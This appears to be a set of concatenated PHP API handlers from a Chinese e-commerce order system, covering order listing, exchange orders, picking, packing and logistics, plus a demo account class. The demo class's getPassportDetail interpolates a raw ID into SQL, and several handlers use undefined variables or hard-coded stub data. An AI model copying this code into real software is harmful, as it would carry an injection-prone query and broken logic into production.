$memberInfoList[$orderItem['MemberID']]['RealName']; $memberOrderList[$orderKey]['Mobile'] = $memberInfoList[$orderItem['MemberID']]['Mobile']; } */ /* @todo 获得省市县和支付方式 */ $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberExchangeOrderCount'=>$memberOrderCount, 'memberExchangeOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getdetailforagent': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $coreOrderID = (int)$filter['CoreOrderID']; if (!$coreOrderID) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MemberExchangeOrderID_IS_NULL','无法获取到用户换货订单编号')); } $memberOrderDetail = (array)$memberOrder->getMemberExchangeOrderDetail($memberOrderID); // 此处要在比较订单状态之后,选择是查询商品还是查询货品。 // $memberOrderGoodsDetail = (array)$memberOrder->getMemberExchangeOrderGoodsDetail($memberOrderID); $memberOrderDetail = array( 'OrderInfo'=>array( 'CoreOrderID'=>'10000045', 'OldCoreOrderID'=>'10000044', 'OperatorID'=>'1',//操作人ID,即代理商或后台的管理员ID 'OperatorSourceID'=>'1',//代理商ID或者门店iD // 'OperatorSourceTypeID'='6',//6-代理商;7-门店;8-直营门店;10-加盟商 'AddTime'=>'2016-02-02' ), 'AgentInfo'=>array('Agent'=>1), 'ExchangeMemberInfo'=>array('MemberID'=>1), 'OldGoodsInfo'=>array( array( 'GoodsEntityID'=>'1',//货品编号=》产品编码 ,此处需要调接口 'GoodsName'=>'', 'Reason'=>'', 'Memo'=>'', 'StockTypeName'=>'正常库', 'Amount'=>'100', 'HandlerID'=>1 ), array( 'GoodsEntityID'=>'1',//货品编号=》产品编码 ,此处需要调接口 'GoodsName'=>'', 'Reason'=>'', 'Memo'=>'', 'StockTypeName'=>'正常库', 'Amount'=>'100', 'HandlerID'=>1 ) ), 'NewGoodsInfo'=>array( array( 'GoodsEntityID'=>'1', 'GoodsName'=>'UCK', 'Amount'=>'100', 'HandlerID'=>1 ), array( 'GoodsEntityID'=>'1', 'GoodsName'=>'UCK', 'Amount'=>'100', 'HandlerID'=>1 ) ) ); $data = array('memberOrderDetail'=>$memberOrderDetail); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getlistforagent': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; // 搜索信息 $memberOrderCount = $memberOrder->getMemberExchangeOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $targetFields = array('CoreOrderID','MemberOrderID', 'SenderMobile','MemberExchangeOrderStatusID','AddTime'); $memberOrderList = $memberOrder->getMemberExchangeOrderList($pager, $filter, $sort, $targetFields); foreach ($memberOrderList as $memberOrderKey => $memberOrderItem) { $memberOrderList[$memberOrderKey]['OldGoodsSN'] = '889756821483567940'; $memberOrderList[$memberOrderKey]['NewGoodsSN'] = '821488358940756796'; $memberOrderList[$memberOrderKey]['AgentID'] = '1'; $memberOrderID = $memberOrderItem['MemberOrderID']; $oldCoreOrderID = $memberOrder->getCoreOrderIDByMemberOrderID($memberOrderID); $memberOrderList[$memberOrderKey]['OldCoreOrderID'] = $oldCoreOrderID; unset($memberOrderList[$memberOrderKey]['MemberOrderID']); } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberExchangeOrderCount'=>$memberOrderCount, 'memberExchangeOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; default: exit('请使用 getdetail 和 getlist 接口'); break; } } ?><file_sep><?php /** * 查询订单 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 * @todo 此处要在比较订单状态之后,选择是查询商品还是查询货品。 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberGetorderinfo(& $core) { switch ($core->action) { case 'getreceiverinfo': $filter = $core->getFilter(); $coreOrderID = (int)$filter['CoreOrderID']; $memberOrder = $core->subCore->initMemberOrder(); if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_NULL','无法获取到订单编号'); MemberOrder::exitJsonData($returnData); } $specialFields = array('ReceiverName','ReceiverMobile','ProvinceID','CityID','AreaID','Address'); $memberOrderDetail = $memberOrder->getMemberOrderDetail(null, $specialFields, $coreOrderID); // 处理$memberOrderDetail中的省市区、下单人的信息。 $param['ProvinceID'] = $memberOrderDetail['ProvinceID']; $param['CityID'] = $memberOrderDetail['CityID']; $param['CountyID'] = $memberOrderDetail['AreaID']; $param['action'] = 'getwholeaddress'; // 获得名称。 $areaResource = $core->getApiData('system', '/api/getareaname.php', $param, 'post'); $data = $areaResource['data']; $successData['ReceiverAddress'] = $data['ProvinceName'] . $data['CityName'] . $data['AreaName'] . $data['Address']; $successData['ReceiverName'] = $memberOrderDetail['ReceiverName']; $successData['ReceiverMobile'] = $memberOrderDetail['ReceiverMobile']; $returnData = MemberOrder::successReturnData($successData); MemberOrder::exitJsonData($returnData); break; case 'getpaystatus': $filter = $core->getFilter(); $coreOrderID = (int)$filter['CoreOrderID']; $memberOrder = $core->subCore->initMemberOrder(); if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_NULL','无法获取到订单编号'); MemberOrder::exitJsonData($returnData); } $specialFields = array('MemberOrderStatusID'); $detail = $memberOrder->getMemberOrderDetail(null, $specialFields, $coreOrderID); $statusID = $detail['MemberOrderStatusID']; if ($statusID == MemberOrder::MEMBERORDERSTATUS_UNPAY) { $data['PayStatus'] = 'unpay'; } else { $data['PayStatus'] = 'paid'; } $returnData = MemberOrder::successReturnData($data); MemberOrder::exitJsonData($returnData); break; case 'getkindsofordercount': $filter = $core->getFilter(); $memberID = (int)$filter['MemberID']; $memberOrder = $core->subCore->initMemberOrder(); if (!$memberID) { $returnData = MemberOrder::errorReturnData('MemberID_IS_NULL','无法获取到用户编号'); MemberOrder::exitJsonData($returnData); } $data['allOrderCount'] = $memberOrder->getOrderCountByMemberID('all', $memberID); $data['payOrderCount'] = $memberOrder->getOrderCountByMemberID('pay', $memberID); $data['deliverOrderCount'] = $memberOrder->getOrderCountByMemberID('deliver', $memberID); $data['completeOrderCount'] = $memberOrder->getOrderCountByMemberID('complete', $memberID); $returnData = MemberOrder::successReturnData($data); MemberOrder::exitJsonData($returnData); break; case 'getpurchasecount': $filter = $core->getFilter(); $goodsID = $filter['GoodsID']; $memberOrder = $core->subCore->initMemberOrder(); $count = $memberOrder->getPurchaseCountByGoodsID($goodsID); $data = $count; $returnData = MemberOrder::successReturnData($data); MemberOrder::exitJsonData($returnData); break; case 'getorderfundsinfo': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; if (!$memberOrderID) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MemberOrderID_IS_NULL','无法获取到用户订单编号')); } $specialFields = array('TotalAmount','PayAmount','ScorePayAmount','PayDeliveryFee','ScoreCount','DisaccountTotalAmount'); $orderFundsInfo = $memberOrder->getMemberOrderDetail($memberOrderID,$specialFields); $orderFundsInfo['shouldBackAmount'] = $orderFundsInfo['PayAmount'] - $orderFundsInfo['PayDeliveryFee']; $orderFundsInfo['shouldBackScore'] = $orderFundsInfo['ScoreCount']; $data = array('orderFundsInfo'=>$orderFundsInfo); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getsimplelist': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $memberOrderCount = $memberOrder->getMemberOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $specialFields = array('MemberOrderID','PayAmount','MemberOrderStatusID','AddTime'); $memberOrderList = $memberOrder->getMemberOrderList($pager, $filter, $sort, $specialFields); foreach ($memberOrderList as $orderKey => $orderItem) { $orderStatusID = $orderItem['MemberOrderStatusID']; $memberOrderList[$orderKey]['MemberOrderStatusName'] = $memberOrder->getMemberOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getpicklistforapp': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $memberOrderCount = $memberOrder->getMemberOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $fields = array('CoreOrderID','MemberOrderStatusID'); $filter['MemberOrderStatusID'] = array(MemberOrder::MEMBERORDERSTATUS_AUDIT_SUCCESS, MemberOrder::MEMBERORDERSTATUS_PAYOFF,MemberOrder::MEMBERORDERSTATUS_PICKING); $memberOrderList = $memberOrder->getMemberOrderList($pager, $filter, $sort, $fields); $goodsFields = array('CoreOrderGoodsID','GoodsID','GoodsName','GoodsCount'); foreach ($memberOrderList as $orderKey => $orderItem) { // 获取商品 $memberOrderGoodsList = (array)$memberOrder->getMemberOrderGoodsDetail(null, $goodsFields, $orderItem['CoreOrderID']); foreach ($memberOrderGoodsList as $key => $goodsItem) { $memberOrderGoodsList[$key]['GoodsID'] = $goodsItem['GoodsID']; $memberOrderGoodsList[$key]['GoodsName'] = $goodsItem['GoodsName']; $memberOrderGoodsList[$key]['GoodsCount'] = $goodsItem['GoodsCount']; // 如何展示属性 $coreOrderGoodsID = $goodsItem['CoreOrderGoodsID']; $attrFields = array('AttributeName','AttributeValue'); $specFields = array('SpecificationName','SpecificationValue'); $attrSpecList = $memberOrder->getMemberOrderAttrSpec($coreOrderGoodsID, $attrFields, $specFields); $attrList = $attrSpecList['attribute']; $specList = $attrSpecList['specification']; $attribute = ''; $specification = ''; foreach ($attrList as $attrKey => $attrItem) { $attribute .= $attrItem['AttributeName'] . $attrItem['AttributeValue']; } foreach ($specList as $specKey => $specItem) { $specification .= $specItem['SpecificationName'] .':'. $specItem['SpecificationValue'] . ' '; } $memberOrderGoodsList[$key]['Info'] = trim($attribute . ' ' . $specification); } $memberOrderList[$orderKey]['GoodsList'] = $memberOrderGoodsList; } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getdetail': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','该参数非法')); } $coreOrderID = (int)$filter['CoreOrderID']; $memberOrderDetail = (array)$memberOrder->getMemberOrderDetail($memberOrderID,array(),$coreOrderID); $orderStatusID = $memberOrderDetail['MemberOrderStatusID']; $memberOrderDetail['MemberOrderStatusName'] = MemberOrder::getMemberOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $payTypeID = $memberOrderDetail['PayTypeID']; $memberOrderDetail['PayTypeName'] = MemberOrder::getMemberPayTypeNameByPayTypeID($payTypeID);//订单支付态名称 $memberOrderDetail['LogisticsCompanyName'] = MemberOrder::getLogisticsCompanyName($LogisticsCompanyID); $memberOrderDetail['LogisticsInfo'] = null;//格式在最下方 // 此处要在比较订单状态之后,选择是查询商品还是查询货品。 $memberOrderGoodsDetail = (array)$memberOrder->getMemberOrderGoodsDetail($memberOrderID,array(),$coreOrderID); // 处理$memberOrderDetail中的省市区、下单人的信息。 $param['ProvinceID'] = $memberOrderDetail['ProvinceID']; $param['CityID'] = $memberOrderDetail['CityID']; $param['CountyID'] = $memberOrderDetail['AreaID']; $param['action'] = 'getwholeaddress'; // 获得名称。 $areaResource = $core->getApiData('system', '/api/getareaname.php', $param, 'post'); $areaList = $areaResource['data']; $memberOrderDetail = array_merge($memberOrderDetail,$areaList); $goodsList = array(); $otherGoodsList = array(); $packageGoodsList = array(); $preferGoodsList = array(); $extensionMap = array();// 备用 foreach ($memberOrderGoodsDetail as $orderGoodsKey => $orderGoods) { $extensionID = $orderGoods['GoodsExtensionID']; if ( $extensionID == 0) { $goodsList[] = $orderGoods; } else { // 获得该 ExtensionID 对应的 Type,是特惠还是别的。 $goodsExtensionID = $orderGoods['GoodsExtensionID']; $detail = $memberOrder->getGoodsExtensionDetail($goodsExtensionID);//改成用extensionMap $orderGoods = array_merge($orderGoods, $detail); if ($detail['ExtensionTypeID'] == 1) { $packageGoodsList[$goodsExtensionID][] = $orderGoods; }else if ($detail['ExtensionTypeID'] == 2) { $preferGoodsList[$goodsExtensionID][] = $orderGoods; } } } $data = array('memberOrderDetail'=>$memberOrderDetail,'memberOrderGoodsDetail'=>$goodsList, 'packageGoodsList'=>$packageGoodsList, 'preferGoodsList'=>$preferGoodsList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getlist': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $memberOrderCount = $memberOrder->getMemberOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $memberOrderList = $memberOrder->getMemberOrderList($pager, $filter, $sort); foreach ($memberOrderList as $orderKey => $orderItem) { $orderStatusID = $orderItem['MemberOrderStatusID']; $memberOrderList[$orderKey]['MemberOrderStatusName'] = $memberOrder->getMemberOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $payTypeID = $orderItem['PayTypeID']; $memberOrderList[$orderKey]['PayTypeName'] = $memberOrder->getMemberPayTypeNameByPayTypeID($payTypeID);//订单支付态名称 $memberIDList[] = $orderItem['MemberID']; if ($filter['getGoodsSN'] == 1) { $memberOrderList[$orderKey]['GoodsSN'] = $memberOrder->getMemberOrderGoodsSNString($orderItem['CoreOrderID']);// 订单商品编号。 } } $param['MemberID'] = array_unique($memberIDList); $param['action'] = 'getmemberinfotoorder'; $memberInfoSource = $core->getApiData('member','/api/member.php',$param,'post'); $memberInfoList = $memberInfoSource['data']; foreach ($memberOrderList as $orderKey => $orderItem) { $memberOrderList[$orderKey]['RealName'] = $memberInfoList[$orderItem['MemberID']]['RealName']; $memberOrderList[$orderKey]['Mobile'] = $memberInfoList[$orderItem['MemberID']]['Mobile']; $memberOrderGoodsList = (array)$memberOrder->getMemberOrderGoodsDetail($orderItem['MemberOrderID']); $memberOrderList[$orderKey]['goodsList'] = $memberOrderGoodsList; } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getlistforweb': // app端的展示信息较之pc端略有不同,要同时将商品信息取出来。 $filter = $core->getfilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $type = $filter['type'];//all-全部 pay-待支付 deliver-待发货 complete-已完成 if (!in_array($type, array('all','pay','deliver','complete','cancel'))) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('ORDERTYPE_IS_NULL','订单种类参数错误')); } $memberID = $filter['MemberID']; if (!$memberID) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MEMBERID_IS_NULL','用户编号不能为空')); } if (isset($filter['MemberOrderID'])) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MEMBERORDERID_IS_NULL','订单编号字段有误')); } $memberOrderStatusID = MemberOrder::getMemberOrderStatusIDByType($type); $filter['MemberOrderStatusID'] = $memberOrderStatusID; // 搜索信息 $memberOrderCount = $memberOrder->getMemberOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $specialFields = array('MemberOrderID','CoreOrderID','MemberID','PayTypeID','MemberOrderStatusID','TotalAmount','DeliveryFee','ScorePayAmount','CashCouponsPayAmount','DisaccountTotalAmount','ReceiverName','AddTime','PayAmount');//要获取的指定字段。 $memberOrderList = $memberOrder->getMemberOrderList($pager, $filter, $sort, $specialFields); $attachment = $core->initAttachment(); $appAttachmentUrl = $attachment->loadConfig('_AttachmentUrlList','bssapp'); foreach ($memberOrderList as $orderKey => $orderItem) { $orderStatusID = $orderItem['MemberOrderStatusID']; $memberOrderList[$orderKey]['MemberOrderStatusName'] = MemberOrder::getMemberOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $payTypeID = $orderItem['PayTypeID']; $memberOrderList[$orderKey]['PayTypeName'] = MemberOrder::getMemberPayTypeNameByPayTypeID($payTypeID);//订单支付态名称 $goodsFields = array('GoodsID','GoodsName', 'SalePrice', 'GoodsCount', 'GoodsImagePath'); $memberOrderGoodsList = (array)$memberOrder->getMemberOrderGoodsDetail($orderItem['MemberOrderID'],$goodsFields); foreach ($memberOrderGoodsList as $key => $goodsItem) { $memberOrderGoodsList[$key]['GoodsImagePath'] = $appAttachmentUrl . $goodsItem['GoodsImagePath']; $memberOrderGoodsList[$key]['GoodsName'] = $goodsItem['GoodsName']; $memberOrderGoodsList[$key]['SalePrice'] = $goodsItem['SalePrice']; $memberOrderGoodsList[$key]['GoodsCount'] = $goodsItem['GoodsCount']; // @todo 如何展示属性 // $memberOrderGoodsList[$key]['Attribute'] = '颜色:白色'; // $memberOrderGoodsList[$key]['Specification'] = '规格:110ml'; } $memberOrderList[$orderKey]['goodsList'] = $memberOrderGoodsList; $operator = MemberOrder::getOperatorList($orderStatusID); // 将MemberOrderID干掉,不再使用此ID当作订单编号,改用CoreOrderID。 unset($memberOrderList[$orderKey]['MemberOrderID']); $memberOrderList[$orderKey] = array_merge($memberOrderList[$orderKey], $operator); } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; default: exit('请使用 getdetail 和 getlist 接口'); break; } } ?> <file_sep><?php function pageApiMemberProcessorder(&$core) { switch ($core->action) { case 'deliverforwarehouse': // 发货,需要手机 货品ID和 核心订单ID【发货不仅有用户订单,还有代理商的订单,所以用CoreOrderID 】 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->deliverOrderforwarehouse($memberOrderID); if ($handleResult['status'] == 'success') { $goodsEntityList = $memberOrder->getOrderGoodsEntityList($coreOrderID); $data['GoodsEntityList'] = $goodsEntityList; $returnData = MemberOrder::successReturnData($data); MemberOrder::exitJsonData($returnData); } MemberOrder::exitJsonData($handleResult); break; case 'bindlogistics': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $coreOrderID = $filter['CoreOrderID']; if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_ILLEGAL','订单编号不能为空'); MemberOrder::exitJsonData($returnData); } $logisticsNumber = $filter['LogisticsNumber']; if (!$logisticsNumber) { $returnData = MemberOrder::errorReturnData('LogisticsNumber_IS_ILLEGAL','物流编号不能为空'); MemberOrder::exitJsonData($returnData); } $logisticsInfo['LogisticsNumber'] = $logisticsNumber; $logisticsInfo['LogisticsCompany'] = $logisticsCompany; $bindResult = $memberOrder->bindlogistics($coreOrderID, $logisticsInfo); if ($bindResult) { $returnData = MemberOrder::successReturnData(); MemberOrder::exitJsonData($returnData); } else { $returnData = MemberOrder::errorReturnData('Bind_Logistics_Error','添加物流单号失败'); MemberOrder::exitJsonData($returnData); } break; case 'pickordergoods': // 开始拣货 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $supplyRecordID = $filter['SupplyRecordID']; if (!$supplyRecordID) { $returnData = MemberOrder::errorReturnData('SupplyRecordID_IS_ILLEGAL','供货编号不能为空'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_ILLEGAL','订单编号不能为空'); MemberOrder::exitJsonData($returnData); } $adminID = $filter['AdminID']; if (!$adminID) { $returnData = MemberOrder::errorReturnData('AdminID_IS_ILLEGAL','操作管理员不能为空'); MemberOrder::exitJsonData($returnData); } $goodsID = $filter['GoodsID'];// 要拣货入订单的商品ID if (!$goodsID) { $returnData = MemberOrder::errorReturnData('GoodsID_IS_ILLEGAL','商品编号为空'); MemberOrder::exitJsonData($returnData); } $goodsEntityID = $filter['GoodsEntityID'];// 要拣货入订单的货品ID if (!$goodsEntityID) { $returnData = MemberOrder::errorReturnData('GoodsEntityID_IS_ILLEGAL','货品编号为空'); MemberOrder::exitJsonData($returnData); } $supplyRecordData['CoreOrderID'] = $coreOrderID; $supplyRecordData['SupplyRecordID'] = $supplyRecordID; $supplyRecordData['AdminID'] = $adminID; // 检查 goodsID 是否在 CoreOrderGoods表中 $isMatchCoreOrderGoods = $memberOrder->isMatchCoreOrderGoods($coreOrderID, $goodsID); if ($isMatchCoreOrderGoods === false) { $returnData = MemberOrder::errorReturnData('GOODSID_AGAINST_COREORDER','商品不在购货列表之中'); MemberOrder::exitJsonData($returnData); } $goodsCount = $isMatchCoreOrderGoods['GoodsCount']; if ($goodsCount <= 0) { $returnData = MemberOrder::errorReturnData('Goods_Count_Error','获取购买商品数量出错'); MemberOrder::exitJsonData($returnData); } // 检查当前goodsID是否已经超过购买数量了 $pickCount = $memberOrder->getSupplyGoodsPickCount($coreOrderID, $goodsID); if ($pickCount >= $goodsCount) { $returnData = MemberOrder::errorReturnData('GOODS_MORETHAN_NEEDAMOUNT','该商品已经拣货完毕'); MemberOrder::exitJsonData($returnData); } $supplyRecord = $memberOrder->addSupplyGoodsEntityItem($supplyRecordData,$goodsID,$goodsEntityID); if ($supplyRecord['status'] == 'success') { $data = $supplyRecord['data']; $returnData = MemberOrder::successReturnData($data); MemberOrder::exitJsonData($returnData); } else { MemberOrder::exitJsonData($supplyRecord); } break; case 'pickorder': // 修改订单状态到 拣货中 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_ILLEGAL','订单编号不能为空'); MemberOrder::exitJsonData($returnData); } $adminID = $filter['AdminID']; if (!$adminID) { $returnData = MemberOrder::errorReturnData('AdminID_IS_ILLEGAL','操作管理员不能为空'); MemberOrder::exitJsonData($returnData); } // 检测或生成 供货ID $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->startPickOrder($memberOrderID, $coreOrderID, $adminID); MemberOrder::exitJsonData($handleResult); break; case 'pickofforder': // 拣货完毕 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_ILLEGAL','订单编号不能为空'); MemberOrder::exitJsonData($returnData); } $supplyRecordID = $filter['SupplyRecordID']; if (!$supplyRecordID) { $returnData = MemberOrder::errorReturnData('SupplyRecordID_IS_ILLEGAL','供货编号不能为空'); MemberOrder::exitJsonData($returnData); } $adminID = $filter['AdminID']; if (!$adminID) { $returnData = MemberOrder::errorReturnData('AdminID_IS_ILLEGAL','操作管理员不能为空'); MemberOrder::exitJsonData($returnData); } $pickoffResult = $memberOrder->pickOffOrder($coreOrderID, $supplyRecordID, $adminID); MemberOrder::exitJsonData($pickoffResult); break; case 'packorderitem': // 修改订单状态到 拣货中 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $goodsID = $filter['GoodsID']; if (!$goodsID) { $returnData = MemberOrder::errorReturnData('GoodsID_IS_ILLEGAL','商品编号不能为空'); MemberOrder::exitJsonData($returnData); } $goodsEntityID = $filter['GoodsEntityID']; if (!$goodsEntityID) { $returnData = MemberOrder::errorReturnData('GoodsEntityID_IS_ILLEGAL','货品编号不能为空'); MemberOrder::exitJsonData($returnData); } $adminID = $filter['AdminID']; if (!$adminID) { $returnData = MemberOrder::errorReturnData('AdminID_IS_ILLEGAL','操作管理员不能为空'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->packMemberOrderGoodsEntity($goodsEntityID, $goodsID, $adminID); MemberOrder::exitJsonData($handleResult); break; case 'packofforder': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $coreOrderID = $filter['CoreOrderID']; if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_ILLEGAL','订单编号不能为空'); MemberOrder::exitJsonData($returnData); } $adminID = $filter['AdminID']; if (!$adminID) { $returnData = MemberOrder::errorReturnData('AdminID_IS_ILLEGAL','操作管理员不能为空'); MemberOrder::exitJsonData($returnData); } // 检测是否为打包完成的状态,如果是则返回success $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $checkResult = $memberOrder->isOrderStatusPackOff($coreOrderID); if ($checkResult == true) { $returnData = MemberOrder::successReturnData(); MemberOrder::exitJsonData($returnData); } // 否则,判断所有的已拣货的货品是否已经全部打包完毕,如果是且状态为打包中,将其更新为打包完毕. $packOrderGoodsInfo = $memberOrder->getPackOrderGoodsEntity($coreOrderID); if ($packOrderGoodsInfo['complete'] == true) { $packoffResult = $memberOrder->packofforder($memberOrderID); if ($packoffResult == true) { $returnData = MemberOrder::successReturnData(); # code... } else { $returnData = MemberOrder::errorReturnData('Change_OrderStatus_Packoff_Failure','修改订单状态到打包完成失败'); } MemberOrder::exitJsonData($returnData); } else { $returnData = MemberOrder::errorReturnData('PickingGoods_Need_Pack','还有货物没有打包完成,无法结束打包'); MemberOrder::exitJsonData($returnData); } break; default: # code... break; } } ?><file_sep><?php /** * 获取订单数量 * @author <EMAIL> */ function pageApiMemberGetordernumber(&$core){ switch($core->action){ case 'getordernumber': // 定义返回数据结构 $returnData = array('status'=>'failed', 'reason'=>'', 'message' => '','data'=>''); // 接收数据 $filter = $core->getFilter(); $wareHouseID = $filter['WarehouseID']; $returnData['status'] = 'success'; $returnData['data']['PickingGoods'] = 10; $returnData['data']['ToBePacked'] = 10; exit(json_encode($returnData)); break; default: break; } } ?> <file_sep><?php /** * @category * @package account * @copyright 2014 iredpure * @author steven <<EMAIL>> * @version 1.0 2014-11-19 */ /** * @category P2P * @package demo * @copyright 2014 iredpure * @author steven <<EMAIL>> * @version 1.0 2014-11-19 in development !!! unstable * @access public */ class Demo{ /** * @var resource|null db handler * @access protected */ protected $_db = null; /** * @var int|null account id * @access private */ protected $_accountID = null; /* 支出摘要ID */ const OUTCOME_SUMMARY_ID_WITHDRAW = 0; //提现 const OUTCOME_SUMMARY_ID_WITHDRAW_FEE = 1; //提现手续费 const OUTCOME_SUMMARY_ID_INVEST = 12; // 投资 const OUTCOME_SUMMARY_ID_INTEREST_FEE = 2; //利息管理费 /* 收入摘要ID */ const INCOME_SUMMARY_ID_RECHARGE = 11; //充值 const INCOME_SUMMARY_ID_PRINCIPAL = 7; //回款本金 const INCOME_SUMMARY_ID_INTEREST = 8; //回款利息 /** * __construct * * construct function * * @param resource $db * @param int|null $accountID user`s AccountID */ public function __construct($db, $accountID = null) { if ($db) { $this->_db = $db; } else { throw(new Exception('invalid_db')); } $accountID = (int) $accountID; if ($accountID) { $this->_accountID = $accountID; } } /** * _getAccountID * 过滤accountID,如果传入的accountID为null, 返回实例化对象属性 _accountID * * @param int $accountID * @return int */ protected function getPassportDetail($passportID) { if ($accountID === null) { $accountID = $this->_accountID; } $accountID = (int) $accountID; $sql = "select * from Passport where PassportID = {$passportID}"; #获得一条数据用 getToArray,获取多条数据用loadToArray(); $detail = $this->_db->getToArray($sql); return $detail; } ?> <file_sep><?php /** * 获取商品或货品信息 * @category CUK-BSS * @package order-goods * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberGetgoodsinfo(& $core) { switch 